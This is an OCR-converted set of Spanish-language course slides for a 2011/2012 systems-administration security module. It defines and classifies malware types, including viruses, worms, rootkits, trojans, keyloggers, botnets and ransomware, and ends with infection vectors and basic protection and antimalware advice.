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Objetivos de la Unidad de Traba
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- ™
Comprender qué es el software malicioso (malware) y
sus posibles fuentes.

} . . Zng_c c R
Crear conciencia de analisis de riesgo y toma
de precauciones en las operaciones
informaticas.

Identificar las nuevas posibilidades y riesgos
gue poseen Internet y las redes sociales.

seguridad software antimalware existentes.

\‘
Analizar las distintas herramientas de
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Abstract/Resumen:

OMalware (del inglés malicious software), también
llamado badware, cédigo maligno, software
malicioso o software malintencionado, es un tipo
de software que tiene como objetivo infiltrarse o
danar un sistema sin el consentimiento de su
propietario.

QEl término malware es muy utilizado por
profesionales de la informatica para referirse a una
variedad de software hostil, intrusivo o molesto.

QEl término virus informatico suele aplicarse de forma
incorrecta para referirse a todos los tipos de
malware, incluidos los virus verdaderos.

El software se considera malware en funcion de
los efectos que, pensados por el creador,
provoque en un computador. EI término
malware incluye virus, gusanos, troyanos, la
mayor parte de los rootkits, spyware, adware
intrusivo, crimeware y otros softwares
maliciosos e indeseables.
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1.- Software Malicioso

Introduccion:

O Gracias al desarrollo de las comunicaciones y el creciente uso de la
informatica en la mayoria de los ambitos de la sociedad, los sistemas
de informacidén se han convertido en objetivo de todo tipo de ataques y
son sin duda el principal foco de amenazas. Por esta razon es
fundamental identificar qué recursos y elementos necesitan proteccidn
asi como conocer los mecanismos o herramientas que podemos
emplear para procurar su proteccion.

d Con el nombre de software malicioso o malware agrupamos
clasicamente a los virus, gusanos, troyanos y en general todos los
tipos de programas que ha sido desarrollados para acceder a
ordenadores sin autorizacion, y producir efectos no deseados. Estos
efectos se producen algunas veces sin que nos demos cuenta en el
acto.

O En sus comienzos, la motivacion principal para los creadores de
virus era la del reconocimiento publico. Cuanta mas relevancia
tuviera el virus, mas reconocimiento obtendria su creador. Por este
motivo, las acciones a realizar por el virus debian ser visibles por el
usuario y suficientemente daninas como para tener relevancia, por
ejemplo, eliminar ficheros importantes...
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1.- Software Malicioso
Introduccion:

a Algunos de los primeros programas infecciosos, incluido el primer gusano
de Internet y algunos virus de MS-DOS, fueron elaborados como
experimentos, como bromas o simplemente como algo molesto, no para
causar graves danos en las computadoras. En algunos casos el
programador no se daba cuenta de cuanto dano podia hacer su creacion.
Algunos jovenes que estaban aprendiendo sobre los virus los crearon con
el Unico proposito de demostrar que podian hacerlo o simplemente para
ver con qué velocidad se propagaban. Incluso en 1999 un virus tan
extendido como Melissa parecia haber sido elaborado tan s6lo como una
travesura.

Q El software disefiado para causar dafos o pérdida de datos suele estar
relacionado con actos de vandalismo. Muchos virus son disenados para
destruir archivos en discos duros o para corromper el sistema de archivos
escribiendo datos invalidos. Algunos gusanos son disefiados para
“ensuciar” paginas web dejando escrito el alias del autor o del grupo por
todos los sitios por donde pasan. Estos gusanos pueden parecer el
equivalente informatico del grafiti.
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1.- Software Malicioso
Introduccion:

dSin embargo, debido al aumento de usuarios de Internet, el
software malicioso ha llegado a ser disefhado para sacar
beneficio de él, ya sea legal o ilegalmente. Desde 2003, la
mayor parte de los virus y gusanos han sido disenados para
tomar control de computadoras para su explotacion en el
mercado negro.

d Estas computadoras infectadas ("computadoras zombie")
son usadas para el envio masivo de spam por e_mail, para
alojar datos ilegales como pornografia infantil, o para unirse
en ataques DDoS (una ampliacion del ataque Dos es el
llamado ataque distribuido de denegacion de servicio, también llamado
ataque DDoS -de las siglas en inglés Distributed Denial of Service- el cual
lleva a cabo generando un gran flujo de informacion desde varios puntos
de conexion.) como forma de extorsion entre otras cosas.
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1.- Software Malicioso
Introduccion:

d Hay muchos mas tipos de malware producido con animo de
lucro, por ejemplo el spyware (software que recopila informacion de un
ordenador y después transmite esta informacion a una entidad externa), el

adware intrusivo (la clase adware es cualquier programa que
automaticamente se ejecuta, muestra o baja publicidad web al equipo después de
instalar el programa o mientras se esta utilizando la aplicacion. ‘Ad' en la palabra

‘adware' se refiere a 'advertisement' (anuncios) en inglés. ) y los hijacker
(significa "secuestro” en inglés y en el ambito informatico hace referencia a toda
técnica ilegal que lleve consigo el aduefiarse o robar algo (generalmente

informacion, por parte de un atacante.) tratan de mostrar publicidad
no deseada o redireccionar visitas hacia publicidad para
beneficio del creador. Estos tipos de malware no se
propagan como los virus, generalmente son instalados
aprovechandose de vulnerabilidades o junto con software
legitimo.
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1.- Seftware M licioso
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2.- Clasificacion del Malware

QExisten multitud de codigos maliciosos que pueden clasificarse
en funcidon de diversos criterios, a continuaciéon se propone una
posible organizacion y ejemplos de cada uno de ellos:

Malware infeccioso: virus y gusanos
Malware oculto: Backdoor o Puerta trasera, Drive-by
Downloads, Rootkits y Troyanos
QPuertas traseras o Backdoors
QDrive-by Downloads
QRootkits
Q7royanos
Malware para obtener beneficios:
QMostrar publicidad: Spyware y Adware
QRobar informacion personal: Keyloggers y Stealers
QRealizar llamadas telefénicas: Dialers
QAtaqgues distribuidos: Botnets
QOtros tipos: Roguesoftware y Ransomware
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2.- Clasificacion del Malware
Malware infeccioso: virus

QUn virus informatico es un malware que tiene por objeto
alterar el normal funcionamiento de la computadora, sin el
permiso o el conocimiento del wusuario. Los virus,
habitualmente, reemplazan archivos ejecutables por otros
infectados con el cédigo de este.

dLos virus pueden destruirb de manera intencionada,
los datos almacenados en un ordenador, aunque también
existen otros mas inofensivos, que solo se caracterizan por
ser molestos.

QLos virus informaticos tienen, basicamente, la funcion de
propagarse a través de un software, son muy nocivos y
algunos contienen ademas una carga dafina (payload) con
distintos objetivos, desde una simple broma hasta realizar
danos importantes en los sistemas, o bloquear las redes
informaticas generando trafico inutil.
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2.- Clasificacion del Malware
Malware infeccioso: virus

Q El funcionamiento de los virus coincide en sus lineas esenciales
con el de los demas programas ejecutables, toma el control del
ordenador y desde alli procede a la ejecucidon de aquello para lo
que ha sido programado.

d Generalmente estan disefhados para copiarse la mayor cantidad de
veces posible, bien sobre el mismo programa ya infectado o sobre
otros todavia no contaminados, siempre de forma que al usuario
le sea imposible o muy dificil darse cuenta de la amenaza que esta
creciendo en su sistema.

El efecto que produce un virus puede comprender acciones
tales como un simple mensaje en la pantalla, disminucion
de la velocidad de proceso del ordenador o pérdida total
de la informacion contenida en su equipo.
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2.- Clasificacion del Malware
Malware infeccioso: virus

En la actuacion de un virus se pueden distinguir tres fases:

1. El contagio: El contagio inicial o los contagios posteriores se
realizan cuando el programa contaminado esta en la memoria
para su ejecucion. Las vias por las que puede producirse la
infeccion de su sistema son disquetes, redes de ordenadores y
cualquier otro medio de transmision de informacion. Los disquetes
son por el momento, el medio de contagio mas extendido en
nuestro pais. Estos disquetes contaminantes suelen contener
programas de facil y libre circulacion y carecen de toda garantia.
Es el caso de los programas de dominio publico, las copias ilegales
de los programas comerciales, juegos, etc.

2. El virus activo: Cuando se dice que un virus se activa significa
que el virus toma el control del sistema, y a la vez que deja
funcionar normalmente a los programas que se ejecutan, realiza
actividades no deseadas que pueden causar dahos a los datos o a
los programas.
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2.- Clasificacion del Malware

Malware infeccioso: virus

O Lo primero que suele hacer el virus es cargarse en la memoria del
ordenador y modificar determinadas variables del sistema que le permiten
"hacerse un hueco" e impedir que otro programa lo utilice. A esta accidn
se le llama "quedarse residente". Asi el virus queda a la espera de que se
den ciertas condiciones, que varian de unos virus a otros, para replicarse o
atacar.

Q La replicacion, que es el mecanismo mas caracteristico y para muchos
expertos definitorio de la condicidn de virus, consiste basicamente en la
produccion por el propio virus de una copia de si mismo, que se situara en
un archivo. El contagio de otros programas suele ser la actividad que mas
veces realiza el virus, ya que cuanto mas deprisa y mas discretamente se
copie, mas posibilidades tendrd de dafar a un mayor numero de
ordenadores antes de llamar la atencion.

3. El ataque: Mientras que se van copiando en otros programas, los virus
comprueban si determinada condicion se ha cumplido para atacar, por
ejemplo que sea cinco de enero en el caso del conocido virus Barrotes. Es
importante tener en cuenta que los virus son disefiados con la intencion de
no ser descubiertos por el usuario y generalmente, sin programas antivirus,
no es descubierto hasta que la tercera fase del ciclo de funcionamiento del
virus se produce el dano con la consiguiente pérdida de informacion.
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2.- Clasificacion del Malware
Malware infeccioso: gusanos

El nombre proviene de The Shockwave Rider, una
novela de ciencia ficcion publicada en 1975 por John
Brunner. Los investigadores John F. Shoch y John A.
Hupp de Xerox PARC eligieron el nombre en un articulo
publicado en 1982; The Worm Programs, Comm ACM,
25(3):172-180

> > : : > - : < y
Notese que el término inglés worm también tiene otra 7"

acepcion dentro del mundo de la informatica: Worm
(acronimo inglés: "write once, read many"),
perteneciente a las tecnologias de almacenamiento de
datos. No debe ser confundido con el de gusano
informatico.
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2.- Clasificacion del Malware
Malware infeccioso: gusano

O Un gusano (también llamados IWorm por su apocope en inglés, I de
Internet, Worm de gusano) es un malware que tiene la propiedad de
duplicarse a si mismo. Los gusanos utilizan las partes automaticas de
un sistema operativo que generalmente son invisibles al usuario.

Q A diferencia de un virus, un gusano no precisa alterar los archivos de
programas, sino que reside en la memoria y se duplica a si mismo. Los
gusanos casi siempre causan problemas en la red (aunque sea
simplemente consumiendo ancho de banda), mientras que los virus
siempre infectan o corrompen los archivos de la computadora que atacan.

O Es algo usual detectar la presencia de gusanos en un sistema cuando,
debido a su incontrolada replicacién, los recursos del sistema se consumen
hasta el punto de que las tareas ordinarias del mismo son excesivamente
lentas o0 simplemente no pueden ejecutarse.

O Los gusanos se basan en una red de computadoras para enviar copias de
si mismos a otros nodos (es decir, a otras terminales en la red) y son
capaces de llevar esto a cabo sin intervencidén del usuario propagandose,
utilizando Internet, basandose en diversos métodos,
como SMTP, IRC, P2P entre otros.
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2.- Clasificacion del Malware
Malware oculto: Backdoor o Puerta trasera

QUn backdoor o puerta trasera es un método para eludir los
procedimientos habituales de autenticacion al conectarse a
una computadora. Una vez que el sistema ha sido
comprometido (por uno de los anteriores métodos o de
alguna otra forma), puede instalarse una puerta trasera
para permitir un acceso remoto mas facil en el futuro. Las
puertas traseras también pueden instalarse previamente al
software malicioso para permitir la entrada de los
atacantes.

Los crackers suelen usar puertas traseras para asegurar el
acceso remoto a una computadora, intentando
permanecer ocultos ante una posible inspeccion. Para
instalar puertas traseras Ilos crackers pueden usar
troyanos, gusanos u otros métodos.
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2.- Clasificacion del Malware
Malware oculto: Drive-by Downloads

Las técnicas invasivas que en la actualidad son utilizadas por codigos maliciosos para llegar
hasta la computadora de los usuarios, son cada vez mas sofisticadas y ya no se limitan al envio
de malware a traves de spam o clientes de mensajeria instantanea.

Qd Un claro ejemplo de esta situacion, lo constituye la metodologia
de ataque denominada Drive-by-Download que permite infectar
masivamente a los usuarios simplemente ingresando a un sitio
web determinado. Mediante esta técnica, los creadores vy
diseminadores de malware propagan sus creaciones aprovechando
las vulnerabilidades existentes en diferentes sitios web e
inyectando cddigo dafiino entre su codigo original.

d Por lo general, el proceso de ataque se lleva a cabo de manera
automatizada mediante la utilizacion de herramientas que buscan
en el sitio web alguna vulnerabilidad y, una vez que la
encuentran, insertan un script malicioso entre el codigo HTML del
sitio vulnerado.

Para una mejor comprension, las facetas en las cuales se desarrolla el
Drive-by-Download, se representan a través del siguiente grafico:
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2.- Clasificacion del Malware
Malware oculto: Drive-by Downloads

Al comenzar el proceso, el usuario malicioso (atacante) inserta en la pagina
web vulnerada un script malicioso y luego el proceso continua de la
siguiente manera:

1.

2.

Un usuario (victima) realiza una consulta (visita la pagina) al
sitio comprometido.

El sitio web consultado (servidor o aplicacion web vulnerable)
devuelve la peticion (visualizacion de la pagina) que contiene
embebido en su codigo al script dafino previamente inyectado.
Una vez descargado dicho script al sistema de la victima, éste
realiza una nueva peticion a otro servidor (Hop Point). Esta
peticion es la solicitud de diversos scripts con exploits.

Estos exploits tienen el objetivo de comprobar si en el equipo
victima existe alguna vulnerabilidad que pueda ser explotada. Se
intentan explotar diversas vulnerabilidades, una tras otra, hasta
que alguna de ellas tenga éxito.

En caso de encontrarse alguna vulnerabilidad, se ejecutara un
script que invoca la descarga de un archivo ejecutable (malware)
desde otro servidor (o desde el anterior).
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2.- Clasificacion del Malware
Malware oculto: Drive-by Downloads

d Los script maliciosos involucrados en ataques Drive-by-Download
utilizados para propagar malware, generalmente contienen uno o
varios exploit asociados a una URL cuyo codigo es, en definitiva,
quien comprueba la existencia de vulnerabilidades en el sistema
victima para luego explotarlas.

Q Esta metodologia es ampliamente utilizada en este tipo de
ataques y consiste en la insercion de, por ejemplo, un tag
(etiqueta) iframe. La etiqueta iframe posibilita la apertura de un
segundo documento web, pero dentro de la pagina principal
invocada por el usuario.

O Para evitar que el usuario visualice la apertura de esa segunda
pagina, la misma generalmente es abierta dentro de un marco de
0x0 pixel 6 1x1 pixels.

La siguiente imagen ilustra de qué manera se ve una etiqueta
iframe dafina embebida en el cddigo fuente de una pagina web
vulnerada:
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Malware oculto: Drive-by Downloads
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O Cuando el usuario ingresa a determinada pagina web vulnerada,
paralelamente se abre de manera transparente la segunda pagina web
contenida en la etiqueta iframe quien, a su vez, invocara la descarga y
ejecucion de un coédigo malicioso.

O Este tipo de metodologias de infeccion es cada vez mas comun de
encontrar en sitios de cualquier indole; desde sitios web de empresas con
administracion deficiente, que no son mantenidos de forma apropiada, o
en aquellos blogs, CMS o foros que contienen vulnerabilidades en su
codigo fuente y son hallados por los atacantes.
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2.- Clasificacion del Malware
Malware oculto: Rootkits

O Rootkit es una o mas herramientas disefladas para mantener en
forma encubierta el control de una computadora. Estas pueden ser
programas, archivos, procesos, puertos y cualquier componente
l6gico que permita al atacante mantener el acceso y el control del
sistema.

Q El rootkit no es un software maligno en si mismo, sino que permite
ocultar las acciones malignas que se desarrollen en el ordenador,
tanto a través de un atacante como asi también ocultando otros
codigos maliciosos que estén trabajando en el sistema, como
gusanos o troyanos. Otras amenazas incorporan y se fusionan con
técnicas de rootkit para disminuir la probabilidad de ser detectados.

O Los rootkits por lo general, se encargan de ocultar los procesos del
sistema que sean malignos. También intentan deshabilitar cualquier
tipo de software de seguridad. Las actividades 0cultadas— no Son
S|empre explicitamente maliciosas. Muchos rootkits~ ocultan |mt|os de
sesion, informacion de procesos o registros. ' '

N -
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2.- Clasificacion del Malware
Malware oculto: Rootkits

O Inicialmente los rootkit aparecieron en el sistema operativo UNIX y eran una
coleccion de una o mas herramientas que le permitian al atacante conseguir y
mantener el acceso al usuario de la computadora mas privilegiado (en los
sistemas UNIX, este usuario se llama *root* y de ahi su nombre). En los
sistemas basados en Windows, los rootkits se han asociado en general con
herramientas usadas para ocultar programas o procesos al usuario. Una vez
que se instala, el rootkit utiliza funciones del sistema operativo para ocultarse,
de manera tal de no ser detectado y es usado en general para ocultar otros
programas dafinos.

O Un rootkit ataca directamente el funcionamiento de base de un sistema
operativo. En linux, modificando y trabajando directamente en el kernel del
sistema. En Windows, interceptando los APIs (Interfaz de Aplicaciones de
Programacion) del sistema operativo. Estas, interactlan entre el usuario y el
kernel; de esta forma, el rootkit manipula el kernel sin trabajar directamente
en él como en el caso del software libre.

O Existen otros tipos de rootkit, que persiguen el mismo fin: ocultar actividades
en el sistema. Los BootRootkits atacan el sector de arranque y modifican la
secuencia de arranque para cargarse en memoria antes de cargar el sistema
operativo original. Otros rootkits atacan, en lugar del sistema operativo,
directamente las aplicaciones utilizando parches o inyecciones de codigo y
modificando su comportamiento respecto al habitual.
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Malware oculto: Troyanos

dEl nombre de esta amenaza
proviene de la leyenda del
caballo de Troya, ya que el
objetivo es el de engafhar al
usuario. Son archivos que
simulan ser normales e
indefensos, como pueden ser
juegos o programas, de forma
tal de "tentar" al usuario a
ejecutar el archivo. De esta
forma, logran instalarse en los
sistemas. Una vez ejecutados,
parecen realizar tareas
inofensivas pero paralelamente
realizan otras tareas ocultas en
el ordenador.
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Malware oculto: Troyanos

Q Los troyanos pueden ser utilizados para muchos propdsitos, entre
los que se encuentran, por ejemplo:

vAcceso remoto (o Puertas Traseras): permiten que el atacante
pueda conectarse remotamente al equipo infectado.

v'Registro de las teclas pulsadas -keyloger- y robo de contrasenas.
v'Robo de informacion del sistema.

Q Los "disfraces" que utiliza un troyano son de lo mas variados. En
todos los casos intentan aprovechar la ingenuidad del usuario
explotando diferentes técnicas de Ingenieria Social.

Uno de los casos mas comunes es el envio de archivos por correo
electronico simulando ser una imagen, un archivo de musica o algun
archivo similar, legitimo e inofensivo. Ademas del correo electrdnico,
otras fuentes de ataque pueden ser las mensajerias instantaneas o

las descargas directas desde un sitio web.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Mostrar publicidad: Spyware

O Los spyware o (programas espias) son aplicaciones que recopilan informacion
del usuario, sin el consentimiento de este. El uso mas comun de este sw es la
obtencion de informacion respecto a los accesos del usuario a Internet
y el posterior envio de la informacion recabada a entes externos.

Q Al igual que el adware, no es una amenaza que dafie al ordenador, sino que
afecta el rendimiento de este y, en este caso, atenta contra la privacidad de los
usuarios. Sin embargo, en algunos casos se producen pequefas alteraciones en
la configuracion del sistema, especialmente en las configuraciones de Internet o
en la pagina de inicio.

O Puede instalarse combinado con otras amenazas (gusanos, troyanos) o
automaticamente. Esto ocurre mientras el usuario navega por ciertas paginas
web que aprovechan vulnerabilidades del navegador o del sistema operativo,
que permiten al spyware instalarse en el sistema sin el consentimiento del
usuario.

O No es el objetivo de este tipo de malware, robar archivos del ordenador, sino
obtener informacion sobre los habitos de navegacion o comportamiento en la
web del usuario atacado. Entre la informacidon recabada se puede encontrar:
qué paginas web se visitan, cada cuanto se visitan, cuanto tiempo permanece
el usuario en el sitio, qué aplicaciones se ejecutan, qué compras se realizan o
qué archivos se descargan.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Mostrar publicidad: Spyware

Q Ciertos spyware poseen caracteristicas adicionales para conseguir
informaciéon e intentan interactuar con el usuario simulando ser
buscadores o barras de herramientas. Con estas técnicas, los datos
obtenidos son mas legitimos y confiables que con otros métodos espias
utilizados.

Q Otro modo de difusidon es a través de los programas que, legitimamente
incluyen adware en sus versiones gratuitas y ofrecen e informan al usuario
de la existencia de esta. Es habitual, aunque no se informe al usuario, que
también se incluya algun tipo de spyware en estas aplicaciones para
complementar con los anuncios publicitarios aceptados legitimamente por
el usuario.

Tanto el spyware como el adware forman parte de una etapa posterior en la
historia del malware, respecto a otros tipos de amenazas como Vvirus,
gusanos o troyanos. Los primeros ejemplares de esta amenaza se
remontan a mediados de los afios '90, con la popularizacion de Internet.
Tanto el spyware como el adware, no tienen las capacidades de auto-
propagacion que poseen los virus.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Mostrar publicidad: Adware

O Adware (contraccion de ADvertisement - anuncio - y softWARE) es un
programa malicioso, que se instala en la computadora sin que el
usuario lo note, cuya funcidon es descargar y/o mostrar anuncios
publicitarios en la pantalla de la victima.

O Cuando un adware infecta un sistema, el usuario comienza a ver
anuncios publicitarios de forma inesperada en pantalla. Por lo general,
estos se ven como ventanas emergentes del navegador del sistema
operativo (pop-ups). Los anuncios pueden aparecer incluso, si el
usuario no esta navegando por Internet.

Q El adware no produce una modificacion explicita que dafie el sistema
operativo, sino que sus consecuencias afectan al usuario. En primer
término, porque es una molestia para la victima que el sistema abra
automaticamente ventanas sin ningun tipo de orden explicita. Por otro
lado, el adware disminuye el rendimiento del equipo e Internet, ya

que utiliza, y por ende consume, procesador, memoria y ancho de
banda.
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Malware para obtener beneficios: Mostrar publicidad: Adware

d Frecuentemente, las mismas publicidades ejecutadas por el
malware, ofrecen al usuario la posibilidad de pagar una suma de
dinero a cambio de no visualizar mas los anuncios en su pantalla.
Muchas empresas utilizan el adware como forma de comercializar
sus productos, incluyendo la publicidad no deseada en sus
versiones gratuitas y ofreciendo las versiones pagas sin el adware.

Por lo general, el adware utiliza . - < s a:
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frecuentemente se las observa
trabajando en forma conjunta.
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2.- Clasificacion del Malware

A

Malware para obtener beneficios: Robar informacion personal: Keyloggers

Un keylogger (derivado del inglés: key (tecla) y logger (registrador); registrador de
teclas) es un tipo de software o un dispositivo hardware especifico que se encarga de
registrar las pulsaciones que se realizan en el teclado, para posteriormente
memorizarlas en un fichero o enviarlas a través de internet.

Suele usarse como malware del tipo daemon, permitiendo que otros usuarios tengan
acceso a contrasefnas importantes, como los niumeros de una tarjeta de crédito, u otro
tipo de informacién privada que se quiera obtener.

+ i g e oecing
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2.- Clasificacion del Malware

Malware para obtener beneficios: Robar informacion personal: Keyloggers

A El registro de lo que se teclea puede hacerse tanto con medios de
hardware como de software. Los sistemas comerciales disponibles
incluyen dispositivos que pueden conectarse al cable del teclado
(lo que los hace inmediatamente disponibles pero visibles si un
usuario revisa el teclado) y al teclado mismo (que no se ven pero
que se necesita algun conocimiento de como soldarlos para
instalarlos en el teclado). Escribir aplicaciones para
realizar keylogging es trivial y, como cualquier programa
computacional, puede ser distribuido a través de un troyano o
como parte de un virus informatico o gusano informatico.

Se dice que se puede utilizar un teclado virtual para evitar
esto, ya que solo requiere clics del raton. Sin embargo, las
aplicaciones mas nuevas también
registran screenshots (capturas de pantalla) al realizarse
un click, que anulan la seguridad de esta medida.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Robar informacion personal: Keyloggers

El registro de las pulsaciones del teclado se puede alcanzar por
medio de hardware y de software:

Keylogger con hardware
Son dispositivos disponibles en el mercado que vienen en tres tipos:

1. Adaptadores en linea que se intercalan en la conexion del teclado, tienen
la ventaja de poder ser instalados inmediatamente. Sin embargo,
mientras que pueden ser eventualmente inadvertidos se detectan
facilmente con una revisién visual detallada.

2. Dispositivos que se pueden instalar dentro de los teclados estandares,
requiere de habilidad para soldar y de tener acceso al teclado que se
modificard. No son detectables a menos que se abra el cuerpo del
teclado.

3. Teclados reales que contienen el Keylogger vya integrado. Son
virtualmente imperceptibles, a menos que se les busque especificamente.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Robar informacion personal: Keyloggers

Keylogger con software

Los keyloggers de software se dividen en:

1.

Basado en nucleo: Este método es el mas dificil de escribir, y también de
combatir. Tales keyloggers residen en el nivel del nucleo y son asi
practicamente invisibles. Un keylogger que usa este método puede actuar
como driver del teclado por ejemplo, y accede asi a cualquier informacioén
registrada.

Enganchados: Estos keyloggers registran las pulsaciones de las teclas del
teclado con las funciones proporcionadas por el sistema operativo. El
sistema operativo activa el keylogger en cualgquier momento en que se
presione una tecla, y realiza el registro.

Métodos creativos: Aqui el programador utiliza funciones como
GetAsyncKeyState, GetForegroundWindow, etc. Estos son los mas faciles
de escribir, pero como requieren la revision el estado de cada tecla varias
veces por segundo, pueden causar un aumento sensible en uso de
la CPU y pueden ocasionalmente dejar escapar algunas pulsaciones del
teclado.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Robar informacion personal: Stealers

Q Stealer (en espanol "ladron de informacion") es el nombre
genérico de programas informaticos maliciosos del tipo troyano,
que se introducen a través de internet en un ordenador con el
proposito de obtener de forma fraudulenta informacion
confidencial del propietario, tal como su nombre de acceso a
sitios web, contrasefia o nimero de tarjeta de crédito.

Q Otro problema causado por stealer puede ser la desconexion
involuntaria de un sitio web.

O Estos programas pueden detectarse y eliminarse
mediante software antivirus, aunque la mejor forma de evitarlos
consiste en no abrir documentos anexos a correos electrdnicos
enviados por remitentes desconocidos o dudosos.

Ejemplo: Odesa MSN password Stealer, es un programa creado
por el turco Odesa, que captura las contrasefas guardadas del
MSN de una pc remota y las envia via mail al atacante. O para los
que ya saben, es un simple MSN stealer.
http://troyanosyvirus.com.ar/2008/12/odesa-msn-password-stealer-3.html
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Malware para obtener beneficios: Realizar llamadas telefonicas: Dialers

O Los dialers son programas maliciosos que
toman el control del mdédem dial-up,
realizan una llamada a un numero de
teléfono de tarificacion especial, muchas
veces internacional, y dejan la linea
abierta cargando el coste de dicha
llamada al usuario infectado. La forma
mas habitual de infeccion suele ser en
paginas web que ofrecen contenidos
gratuitos pero que solo permiten el acceso
mediante conexidn telefonica. Suelen
utilizar como sefuelos videojuegos, salva
pantallas, pornografia u otro tipo de
material.

O Actualmente la mayoria de las conexiones
a Internet son mediante ADSL y no
mediante moédem, lo cual hace que los
dialers ya no sean tan populares como en
el pasado.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Ataques distribuidos: Botnets

d Botnet es un término que hace referencia a un conjunto
de robots informaticos o bots, que se ejecutan de manera
autonoma y automatica. El artifice de la botnet (llamado pastor)
puede controlar todos los ordenadores/servidores infectados de

forma remota y normalmente lo hace a través del IRC IRC (rnternet
Relay Chat es un protocolo de comunicacion en tiempo real basado en texto, que permite debates

entre dos o més personas). Las nuevas versiones de estas botnets se estan
enfocando hacia entornos de control mediante HTTP, con lo que el
control de estas maquinas sera mucho mas simple.

d Lo mas frecuente es que una botnet se utiliza para enviar spam a
direcciones de correo electronico, para la descarga de ficheros que
ocupan gran espacio y consumen gran ancho de banda, para
realizar ataques de tipo DDoS (Distributed Denial Of Service).
Normalmente los creadores de estas Botnets venden sus servicios
a los Spammers.
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2.- Clasificacion del Malware

Malware para obtener beneficios: Atagues distribuidos: Botnets
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2.- Clasificacion del Malware

Malware para obtener beneficios: Otros tipos: Roguesoftware y Ransomware

dLos roguesoftware hacen creer al usuario que la
computadora esta infectada por algun tipo de virus u
otro tipo de software malicioso, esto induce al usuario
a pagar por un software inutil o a instalar un software
malicioso que supuestamente elimina las infecciones,
pero el usuario no necesita ese software puesto que no
esta infectado.

dLos ransomware, también Illamados criptovirus o
secuestradores, son programas que cifran los archivos
importantes para el usuario, haciéndolos inaccesibles,
y piden que se pague un "rescate" para poder recibir la
contrasena que permite recuperar los archivos.
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2.- Clasificacion del Malware

Otras clasificaciones:

Debido a la gran cantidad y diversidad de cédigo malicioso que existen, que
muchos de ellos realizan varias acciones y se pueden agrupar en varios
apartados a la vez, existen varias clasificaciones genéricas que engloban varios
tipos de coddigos maliciosos:

1. Ladrones de informacion (infostealers): Agrupa todos los tipos de
codigos maliciosos que roban informacion del equipo infectado, son los
capturadores de pulsaciones de teclado (keyloggers), espias de habitos
de uso e informacion de usuario (spyware), y mas especificos, los
ladrones de contrasefas (PWstealer).

2. Codigo delictivo (crimeware): Hace referencia a todos los
programas que realizan una accion delictiva en el equipo, basicamente
con fines lucrativos. Engloban a los ladrones de informacion de
contrasenas bancarias (phishing) que mediante mensajes de correo no
deseado o spam con clickers redireccionan al usuario a las falsas
paginas bancarias. Dentro de este ambito encontramos otro tipo de
estafas electrdnicas (scam) como la venta de falsas gerramientas de
seguridad (rogueware).

3. Greyware (o grayware): Engloba todas las aplicaciones que realizan
alguna accion que no es, al menos de forma directa dafina, tan solo
molesta o no deseable. Agrupa sw de visualizacidon de publicidad no
deseada (adware), bromas (joke), bulos (hoax)..
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2.- Clasificacion del Malware
Métodos de infeccion:

Pero, écomo llega al ordenador el malware y como prevenirlo? Existen gran variedad
de formas por las que todo tipo de malware puede llegar a un ordenador; en la
mayoria de los casos prevenir la infeccion resulta relativamente facil conociéndolas:

O Explotando una vulnerabilidad: cualquier sistema operativo o programa
de un sistema puede tener una vulnerabilidad que puede ser
aprovechada para tomar el control, ejecutar comandos no deseados o
introducir programas maliciosos en el ordenador.

O Ingenieria social: apoyado en técnicas de abuso de confianza para
premiar al usuario a que realice determinada accion, que en realidad es
fraudulenta o busca beneficio econémico.

O Por un archivo malicioso: este es la forma que tiene gran cantidad de
malware de llegar al equipo: archivos adjuntos a través de corro no
deseado o spam, ejecucion de aplicaciones web, archivos de descargas
P2P, generadores de claves y cracks de sw piratas..

O Dispositivos extraibles: muchos gusanos suelen dejar copias de si
mismos en dispositivos extraibles para que ,mediante la ejecucién
automatica que se realiza en la mayoria de los sistemas cuando el
dispositivo se conecta a un ordenador, pueda ejecutarse e infectar el
nuevo equipo y a su vez, nuevos dispositivos que se conecten.

O Cookies maliciosas: las cookies son pequenos ficheros de texto que se
crean al visitar una pagina web.
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3.- Protecciéon y Desinfeccion

Introduccion

Aunque, como se ha visto, existen gran cantidad de cdédigos maliciosos, es
relativamente sencillo prevenir el quedarse infectado por la mayoria de ellos y
asi poder utilizar el ordenador de forma segura, basta con seguir una serie de
recomendaciones de seguridad:

v
v

Mantente informado sobre las novedades y alertas de seguridad.

Mantén actualizado tu equipo, tanto el sistema operativo como
cualquier aplicacion que tengas instalada, sobre todo herramientas
antimalware ya que su base de datos de malware se actualiza en
funcidn del nuevo malware que se conoce diariamente.

Haz copias de seguridad con cierta frecuencia, guardalas en lugar y
soporte seguro para evitar la pérdida de datos importantes.

Utiliza sw legal que suele ofrecer mayor garantia y soporte.

Utiliza contrasenas fuertes en todos los servicios, para dificultar la
suplantacion de tu usuario.

Crea diferentes usuarios en tu sistema, cada uno de ellos con los
permisos minimos necesarios para poder realizar las acciones
permitidas. Utilizar la mayor parte del tiempo usuarios limitados que
no puedan modificar la configuracién del sistema operativo ni instalar
aplicaciones.
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Introduccion

—

v'Utiliza herramientas de seguridad que te ayudan a proteger y a reparar
tu equipo frente a las amenazas de la red. Actualizar la base de datos
de malware de nuestra herramienta antes de realizar cualquier
analisis, ya que el malware muta y se transforma constantemente.

v Analizar nuestro sistema de ficheros con varias herramientas, ya que
el hecho de que una herramienta no encuentre malware no significa
que no nos encontremos infectados. Es bueno el contraste entre
herramientas antimalware.

v'  Realizar periddicamente escaneo de puertos, test de velocidad y de las
conexiones de red para analizar si las aplicaciones que las emplean
son autorizadas.

MocAfes FRANIDA
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) AVIRA
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0378 - Seguridad y Alta Disponibilidad
Departamento de Informatica y Comunicaciones. ASIR 2011/2012. 2° Curso 44



3.- Proteccion y Desinfeccion

Clasificacion del Sw AntiMalware

O En cuanto a las herramientas disponibles para realizar una correcta
prevenciéon son muy diversas segun el frente que se dese atajar. Es
importante resaltar que las herramientas antimalware se encuentran
mas desarrolladas para entornos mas utilizados por usuarios no
experimentados y por tanto mas vulnerables, usualmente entornos
Windows, aunque la realidad es cambiante y cada vez es mayor el
numero de infecciones en archivos alojados en servidores de archivos y
de correo electrénico bajo GNU/Linux, y aplicaciones cada mas usadas
como Mozilla Firefox.

Q Antivirus: Programas informaticos especificamente disefiado para
